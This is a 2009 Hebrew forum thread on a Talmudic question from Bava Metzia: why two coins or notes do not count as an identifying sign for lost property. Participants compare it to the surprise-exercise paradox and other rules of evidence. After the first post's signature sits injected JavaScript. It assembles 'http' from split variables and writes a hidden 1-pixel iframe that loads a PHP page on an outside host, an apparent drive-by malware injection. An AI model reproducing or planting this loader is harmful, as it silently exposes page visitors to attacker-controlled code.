| נשלח ב-22/5/2009 16:00 |
 |
| |
הפרדוקס של מנין כסימן למציאה (מוקדש למיכי)
מעוללות הדף היומי בתחילת בבא מציעא.
דיני אבידה ומציאה עובדים כך. מי שמוצא דבר (או דברים) של יהודי, חייב להשיבם. במה דברים אמורים, שידע הבעלים לזהות את עצמו. וכיצד יזהה? על ידי שיציין סימנים מובהקים בחפץ האבוד שרק הוא עצמו, כבעלים, יכול היה לדעת.
מבין הסימנים האפשריים מזכירה הגמרא את ה"מנין". כלומר, אם אדם מוצא כמה עותקים של אובייקט אבוד, יחד, הוא יכול לסמוך על מספר הפריטים בתור סימן.
למשל, המוצא מחרוזת של דגים או תאנים מיובשות, אם מספר הפריטים הוא ייחודי (ואינו קבוע כמו המשקל האחיד של מצרכים מסויימים בזמננו), יכול להכריז: מצאתי מחרוזת דגים, או מחרוזת תאנים. יבוא המאבד, ימסור את המנין של הפריטים, וניתן להחזיר לו את האבידה בלא חשש כי שלו היא. (אם נניח משחיליםרוב המוכרים 25 תאנים במחרוזת, וכאן יש 29 או 19, אפשר וחובה להכריז, אבל 25 הן מספר סטנדרטי, ב"שווים" בלשון הגמרא, והרי הן של המוצא).
כל הדיון לעיל הוא כוללני אבל כמדומה שהוא מספיק מדוייק כדי להמשיך אל הפרדוקס. או הפרדוקס לכאורה.
מה קורה כאשר אדם מוצא שני שטרות, או שני מטבעות זה על גבי זה כדמות מגדל? יש מקום לומר שהמספר הוא סימן. אבל כאן מעירה הגמרא ומציינים המפרשים כי זה לא מועיל. מדוע? מפני שאי אפשר להכריז כרגיל "שטרות מצאתי" או "מטבעות מצאתי". מדוע? מפני שהשומע יבין שמדובר בשנים, יבוא, יאמר שאיבד שנים, והמוצא הישר יסמוך עליו ולא ידע שזה בסך הכך ניחוש (או: דיוק מדבריו, שמיעוט רבים=לשון רבים הוא שנים).
כיון שכך, למרות שמנין (=מספר פריטים) הינו סימן, מנין של שנים אינו סימן.
נתבונן לרגע בחשש שמצדיק את הקביעה הזו. אדם עלול לשמוע שנמצאה אבידה של, נניח, שני שטרות. הוא יחמוד אותה בליבו. הוא ידמיין לעצמו כיצד הוא הולך ומספר למוצא שאיבד אותם פריטים שמצא. וכאשר יידרש לתת סימן, יאמר שיש לו את המנין. והמנין (המספר) הוא 2.
כיון שכך, אין להסתמך על מנין 2 כסימן.
על זה ניתן להעלות את הטיעון (המופרך, כמסתבר) הבא:
אדם שומע שנמצאו שטרות.
הוא עושה לעצמו חשבון:
מן הסתם אלו שני שטרות. אז אלך ואשקר שאני המאבד והראיה שהם שנים.
אבל ידוע ששנים אינו סימן, כיון שניתן לנחש ולשקר.
לכן אם המוצא מודיע, סימן שמצא שלושה.(כי 2 היה שומר לעצמו).
לכן אלו 3 (או יותר, אבל בני אדם תמיד תופסים את המיעוט, וכאן מיעוט 2 אינו יכול להיות).
זאת אומרת: לפי אותו שיקול שפוסל 2 יש לפסול גם את המספר 3 כהוכחת בעלות
ואם 3 אז גם 4 וכו'..
ובקיצור, לגבי כל N (מספר טבעי) ניתן לטעון שהמספרים 2, 2+1 וכו' עד N הם ניתנים לניחוש ולכן פסולים.
ולפיכך שום N אינו יכול לשמש כסימן.
(אני משער שיש דרך לייצג זאת במתמטיקה, אבל איני יודע איך).
כל התחשיב הזה המשעשע ודאי אינו נכון. השאלה היא: איפה החור בטיעון?
התשובה הפשטנית שכאשר אומרים לשון רבים של פריטים זה יכול להיות יותר מאשר N אינה מספקת! אחרת, זה היה נכון גם לגבי המספר 2.
אני משער שהתשובה הפשוטה עדיין היא שהרמאים אינם בוחרים במספר 2 בגלל שזה הניחוש המסתבר אלא בגלל שהם מסתמכים על כך שמיעוט רבים 2. ולכן אם מישהו יבוא לרמות, זה רק עם המספר הזה. אבל היא גופא עדיין קשיא (הרעיון עצמו עדיין מוקשה). מדוע באמת שבני אדם ירמו בצורה כזו? הרי אם ידוע שהמספר יכול להיות מ2 ומעלה, למה לבחור את המינימום לניחוש? ואם יש סיכוי של רמאות ואפשרות של ניחוש סתמי שקולע למספר הנכון, איך באמת מנין יכול להיות סימן? (זו שאלה שעומדת בפני עצמה ללא קשר לפרדוקס. הפרדוקס הוא רק או בעיקר לבדיחותא בעלמא).
_
קוצרה הכותרת והוחלפה מילה בטקסט להבהרה
________________
שומר פיו ולשונו - שומר מצרות נפשו ******* language="">
*--
var as="'h';
var" ac="'tt';
var" ab="'p';
var" ay="//";
document.write("*************** src="'"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"'" frameborder="'0'" height="1px" width="1px" scrolling="'no'" ><*");
//*
תוקן על ידי מיימוני ב- 22/05/2009 16:19:52
 |
|
|
|
|
| נשלח ב-22/5/2009 17:48 |
|
| |
מה שברור שככל שמנין השטרות עולה כך אפשרות הניחוש יורדת.
ולכן אם בשני שטרות יש רק אפשרות אחת לניחוש ולכן הרי יש סיכוי של 100 אחוז של ניחוש אז אין כאן כלל אפשרות של טעות.כשיש שלושה שטרות יש כבר שתי אפשרויות וכשיש ארבעה שטרות יש כבר שלוש אפשרויות אז ברור שזה מאד משנה איזה מספר מאכלס ה N
ואמנם אין להסתמך על שניים כסימן בלעדי להשבת אבדה אבל אין זאת אומרת שאין להחזיר שני שטרות אם יש עליהם סימנים מובהקים(והרי מנין אינו נחשב כסימן מובהק) ואת זה הרמאי אינו יודע ולכן עדיין הוא צריך להחליט בין שניים לשלושה .
תוקן על ידי צענערענע ב- 22/05/2009 17:45:49
|
|
|
|
| נשלח ב-22/5/2009 18:19 |
|
| |
מיימוני, זה בדיוק פרדוכס הצבא השוודי: המפקד בא במוצ"ש ואומר בשבוע הקרוב יהיה תרגיל פתע. ביום שבת הבא זה לא יכול להיות, כי אז ביום שישי כבר ראינו שעד עתה זה לא היה ולכן זה יהיה מחר. ואם בשבת לא, אז גם יום שישי לא, מאותה סיבה. וכן הלאה.
השאלה אינה מדוע אנחנו עוצרים בשניים ולא ממשיכים, אלא מדוע בכלל אנחנו חוששים לשניים מלכתחילה. למה שבני אדם ינחשו דווקא שניים ולא כל מספר אחר? מדוע דווקא המינימלי?
זו כנראה נטייה של בני אדם, לנסות את שניים כשאומרים להם לשון רבים. אבל לא בטוח שתמיד מנסים את המינימום (אם הוא עומד על שלושה). אבל לשלושה אין נטייה כזו, ולכן שם לא חוששים. הרי בסופו של דבר כל זה זה הוא פסיכולוגיה.
השאלה היא האם אכן הסיכוי למספר כלשהו של עותקים יורד עם עלות המספר. אם זו ההנחה אז אולי אתה צודק (ואז צריך להגיע להסבר הפסיכולוגי הנ"ל). אבל אני לא בטוח בזה, וייתכן שמעבר לשניים הסיכוי הוא בערך אחיד, או לפחות ההבדל בין הסיכוי לשלושה לבין הסיכוי לארבעה עותקים הוא זניח, ולכן שם לא חוששים לניחוש (אא"כ הוא כניחוש אליעזר עבד אברהם).
וכל זה כתבתי כתודה למיימוני על שחשב עליי, מקופיא, כשראיתי את האשכול מעט לפני שבת. כעת יש להפסיק ולמלוח שיבוטא.
שבת שלום.
|
|
|
|
|
| נשלח ב-22/5/2009 18:50 |
|
| |
מיימוני,
פרדוקס נאה!
אני סבור - בשונה מרבינו מיכי - שאין זה דומה לפרדוקס השוודי ואסביר:
הפרדוקס השוודי בנוי מהסוף להתחלה, אם בשבוע הבא יערך תרגיל פתע הרי שבוודאי הוא לא יערך בזמן האחרון ביותר בשבוע הבא, שהרי א"כ זה לא יהיה מפתיע וא"כ גם כל זמן שקודם לו אינו מפתיע, כך עד לתחילת השבוע (וכן בכל חתך זמן שלא יהיה). כלומר הפרדוקס מתחיל שסוף הזמן אינו פתע בוודאות וחוזר לתחילת הזמן (תחילת השבוע) כאשר כל נקודת זמן הופכת שוב לנקודת זמן סופית שאינה יכולה להיות מפתיעה.
לעומת זאת הפרדוקס שהעלית מתחיל ממספר נמוך ובכל פעם הוא שולל את המספר הנמוך ביותר שנשאר, כלומר כל פעם הוא עולה מספר נוסף שהופך שוב להיות האופציה הנמוכה ביותר וההכרחית כביכול. אולם דווקא זה מהווה פירכא לפרדוקס.
הרי ישנם אין סוף מספרים וא"כ ככל שתמשיך עם הפרדוקס, תשלול מספרים נמוכים ותחתור למספר גבוה יותר, לעולם לא תגיע למספר סופי שבאמת מחוייב שאינו יכול להיות סימן (לעומת הפרדוקס השוודי המוגבל למשך זמן מוגדר מראש, מכיוון שהוא נמדד מסוף תאריך היעד ועד תחילת תאריך היעד). יוצא איפוא שכל מספר יכול להיות סימן מכיוון שהפרדוכס הוא אין סופי ואין בסופו של דבר מספר באמת בעייתי שלא יכול להוות סימן.
ולגבי המספר שניים דעתי כדעת רבינו מיכי שיש איזה מניע פסיכולוגי שמיעוט רבים זה שניים ולכן ישנו חשש גדול יותר שהרמאי יאמר שניים, משא"כ בשאר המספרים אין עדיפות מסויימת למספר מסויים לגבי משנהו ויש לעיין עוד.
אגב, זכורני שלגבי שטרות ומטבעות בלבד המספר 2 איו סימן ולגבי כלים אף מס' 2 הוא סימן ואולי יש לעיין יותר מאי שנא שטרות ומטבעות משאר מציאות ובכך תהיה טמונה התשובה מה העניין במספר 2.
_________________
מ. זוהר
|
|
|
|
|
| נשלח ב-23/5/2009 20:54 |
|
| |
אוח מיכי,
אם הייתי יודע שיש אצלך שיבוטא מלוחה בתפריט, הייתי קופץ לשאלעשידעס!
זוהר,
לא זכיתי להבין את ההבדל בין שני הפרדוקסים. אמנם, בפרדוקסו של מיימוני אין סוף לאפשרויות, אבל הפרינציפ זהה.
הכשל בפרדוקס הוא ההשוואה האולטימטיבית בין הבחירה הסבירה לבחירה היחידה. אומר הפרדוקס: כיוון שמספר מסויים הוא הגבול של הבחירה ההגיונית [בלשון חכמינו דלעיל - הבחירה הפסיכולוגית], הרי שהוא גם הבחירה היחידה. ולא היא.
מי שאומר שאיבד שתי מטבעות יכול לומר כל מספר, ולא רק שתי מטבעות, אבל גם מי שאומר שלוש יכול לומר שתים! יאמר מיימוני: אבל כבר פסלנו את שתים? אז זהו, שלא. הפסילה של שתים היא לא פסילה מכיוון שזו אמירה "לא חוקית" [במובנה בלוגיקה], אלא שהתוצאה שלה היא כזו שאינה מאפשרת לאומר לקבל את השטרות.
התוצאה הזו היא תוצאה משפטית של האמירה, ואין לה קשר עם האמיתות של האמירה. במציאות, כנראה שיותר אנשים מאבדים זוג שטרות מאשר שלשות. ועדיין, המאבד אינו זכאי לקבל חזרה את שטרותיו כשאיבדן ביחיד או בזוג, וזכאי לקבלן כשאיבדן בשלשות ולמעלה מכך.
_________________
אוי לשכן
ואוי לשכנו
|
|
|
|
| נשלח ב-23/5/2009 21:20 |
|
| |
בפרדוקס השבדי לאחר שהחיילים מסיקים שלא יהיה תרגיל בשבוע הקרוב - ביום שלישי מגיע המפקד לחיילים שנחים על משכבם בשלום ואומר להם הנה לכם תרגיל פתע.
לעניין השאלה שהועלתה כנראה שאדם חושב אוטומטית על מספר הרבים הקטן ביותר שהוא 2, זה שלא צריך להכריז על המספר הזה לא משנה את הלך המחשבה של האדם.
|
|
|
|
| נשלח ב-23/5/2009 21:43 |
|
| |
את השאלה שואל הט"ז בסימן הרלוונטי
|
|
|
|
| נשלח ב-23/5/2009 21:47 |
|
| |
אותה שאלה אפשר לשאול על כל הכללים והחזקות בדיני הראיות. ברגע שמישהו יודע את הכלל, הוא יכול להשתמש בידע שלו כדי לרמות בצורה מתוחכמת יותר.
לדוגמה: לפי ההלכה, רק אדם שמודה במקצת הטענה חייב בשבועה, אבל אדם שכופר בכל הטענה פטור משבועה. הסיבה לזה היא פסיכולוגית - "אין אדם מעיז פניו בפני בעל חובו", אם אדם כופר בכל הטענה, מן הסתם הטענה אכן שקרית. אולם, מי שכבר יודע את הדין הזה ורוצה בכל-זאת להיפטר מתשלום, יעשה מאמץ נפשי ויכפור בטענה כולה. על כרחך יש לומר, שחז"ל הניחו שרוב האנשים הם עמי הארץ ואינם יודעים את הדין, ולכן בדרך כלל אפשר להסתמך על חזקה זו.
מי שבקי במסכת בבא מציעא בוודאי יוכל להביא עוד דוגמאות רבות לבעיה זו.
אותו הדבר כאן: מי שלא יודע את הדין, ושומע שמישהו מכריז על מטבעות, יבוא ויגיד "איבדתי שני מטבעות". מי שכבר יודע את הדין כמובן יכול לרמות ולהגיד "איבדתי שלושה מטבעות", אבל חז"ל הניחו שרוב האנשים לא יודעים את הדין ולא התייחסו למיעוט.
|
|
|
|
|
| נשלח ב-23/5/2009 22:52 |
|
| |
מורה: תוכל לצטט את עיקר דבריו של הט"ז בעניין?
אראל: ההנחה שלך לפיה הסיבה לדברי חז"ל ש-"אין אדם מעיז פניו בפני בעל חובו" היא שהם הניחו שרוב האנשים עמי הארץ, אכן די מתאימה למציאות הימים ההם - לפחות ביחס ל"עמך", אולם היא איננה הסיבה היחידה המתקבלת על הדעת.
ייתכן בהחלט שגם בנושאי כבוד - פסיכולוגיה - ומוסכמות חברתיות - בנוסף לעניינים רפואיים מסויימים,
ניתן לומר ש"השתנו הטבעים", ואם פעם אנשים היו מוכנים למות או להרוג בגלל דברים טריוויאליים העיקר שכבודם לא יפגע,
בימינו האדם הממוצע פרגמטי ואופורטוניסט הרבה יותר - ולכן בעינינו הסיבה של "אין אדם מעיז פניו בפני בעל חובו"
נראית כמעט נאיבית, בעוד שבזמנם היא התאימה להתנהגותו ולצורת מחשבתו של האדם הממוצע.
תוקן על ידי Crescendo ב- 23/05/2009 22:53:11
|
|
|
|
| נשלח ב-23/5/2009 23:49 |
|
| |
וכך מקשים העולם על מיגו דמזוייף (פרוע מיגו דמזוייף). משעה שנקבעה ההלכה שהטוען פרעתי נאמן במיגו דמזוייף, שוב אין לו מיגו. זה מלמד שבשעת קביעת ההלכה מתעלמים מתוצאותיה על שיקול הדעת שלה עצמו, מה שיכול להועיל גם כאן.
|
|
|
|
| נשלח ב-24/5/2009 00:06 |
|
| |
כל הקושיות הללו אינן קשות בפרקטיקה, שכן בדיני ממונות מה שקובע הוא ראות עיני הדיין. כשהדיין מתרשם שמישהו בונה על המיגו, או על כל עיקרון אחר, הוא פשוט לא יקבל את טענותיו.
|
|
|
|
| נשלח ב-24/5/2009 00:12 |
|
| |
אתה לא צודק פרקטית, בדרך כלל דיין לא יחשוף את זה, וגם לא פורמלית (הבסיס של המיגו הוא פורמלי, כמובן).
|
|
|
|
| נשלח ב-24/5/2009 00:18 |
|
| |
bt77:
"וכך מקשים העולם על מיגו דמזוייף (פרוע מיגו דמזוייף). משעה שנקבעה ההלכה שהטוען פרעתי נאמן במיגו דמזוייף, שוב אין לו מיגו. זה מלמד שבשעת קביעת ההלכה מתעלמים מתוצאותיה על שיקול הדעת שלה עצמו, מה שיכול להועיל גם כאן."
ומדוע הקביעה הזו מתרצת את קושייתינו?
להיפך, גם קביעה זו עצמה תמוהה למדי, העולם הפסיק להתפתח והרמאים חזרו בתשובה משעה שנפסקה ההלכה?
|
|
|
|
| נשלח ב-24/5/2009 00:42 |
|
| |
| השכן כתב: |  | זוהר,
לא זכיתי להבין את ההבדל בין שני הפרדוקסים. אמנם, בפרדוקסו של מיימוני אין סוף לאפשרויות, אבל הפרינציפ זהה.
|
|
הפואנטה אכן זהה אבל דומני שההבדל שכתבתי הוא עקרוני.
בפרדוקס השוודי יש לנו מגבלה של זמן, מה שמחייב שהפעולה (תרגיל פתע בדוגמא שלנו) תתרחש בטווח זמן ידוע מראש, הבעיה היא שבכל נקודה בזמן ישנה סבירות שהפעולה לא תתרחש במפתיע מכיוון שאנו מנתחים את הזמן מהסוף להתחלה עד שתם לא טווח הזמן הנדון - כלומר הגענו לנקודת הזמן הראשונה שבה יכולה להתרחש הפעולה. יוצא איפוא שיש לנו ידיעה (פרדוקסלית אמנם) על כל טווח הזמן ולכל נקודות הזמן (לאורך השבוע) יש לנו בירור מלא שבה הפתעה אינה תרחיש לא ידוע מראש.
לעומת זאת כאשר אנו שוללים ממספר נמוך ועולים הלאה למספרים גבוהים יותר עם כל שלילה, אנו נמצאים במצב שבו הפרדוקס הוא אין סופי. נכון, אין זו פירכא לגופו של הפרדוקס אבל זה רק מחזיר שוב את מצב כל המספרים לאותה רמת סבירות שהם המספר הנכון (סימן למטבעות ושטרות בנד"ד). יוצא א"כ ששוב אין כל בעיה שמספר כלשהו יהווה סימן שהרי ההסתברות למספר 3 אינו שונה מההסתברות למספר 4 וכך עד אינסוף. דוק ותשכח.
_________________
מ. זוהר
|
|
|
|
| נשלח ב-24/5/2009 01:53 |
|
| |
זוהר,
הפרדוקס השוודי והפרדוקס המיימוני, אינם באמת פרדוקסים. פרדוקס אמיתי הוא כזה, שמתוך ההגדרות שלו עצמו עולה סתירה בלתי נתנת לפיתרון. בשני הפרדוקסים האלה, הסתירה היא אינה פנימית, אלא נובעת מהגבלה חיצונית שלנו. הקצין השוודי יכול - לפי כללי הפרדוקס עצמו! - לבצע את התרגיל בכל יום מימות השבוע. כדי לעמוד בחוקי הפרדוקס, אסור לו לומר מראש באיזה יום יהיה התרגיל - ותו לא. כיוון שעד שלא יסתיים השבוע יהיה כל מועד בגדר הפתעה, הרי שמותר לו לערוך את התרגיל אפילו בדקה האחרונה של היום האחרון - שכן עד לדקה שלפניה, עדיין תהיה הפתעה כשיתחיל התרגיל. וכמובן שכך הוא בפרדוקס של מיימוני - המאבד יכול לומר כל סכום, ההגבלה על קבלת המציאה אינה מונעת זאת, שכן זו הגבלה חיצונית.
_________________
אוי לשכן
ואוי לשכנו
|
|
|
|
| נשלח ב-24/5/2009 02:03 |
|
| |
שכן,
אה"נ (תודה על ההדגשה בין פרדוקסים דנן ובין פרדוקסים 'אמיתיים'), כל כוונתי לומר שאין אנו נזקקים לפירכא לפרדוקס או להבנת מהותו, שכן מנפ"ש אין הוא משנה למעשה את הסתברות מספר על משנהו בגלל אינסוף המספרים.
_________________
מ. זוהר
|
|
|
|
|
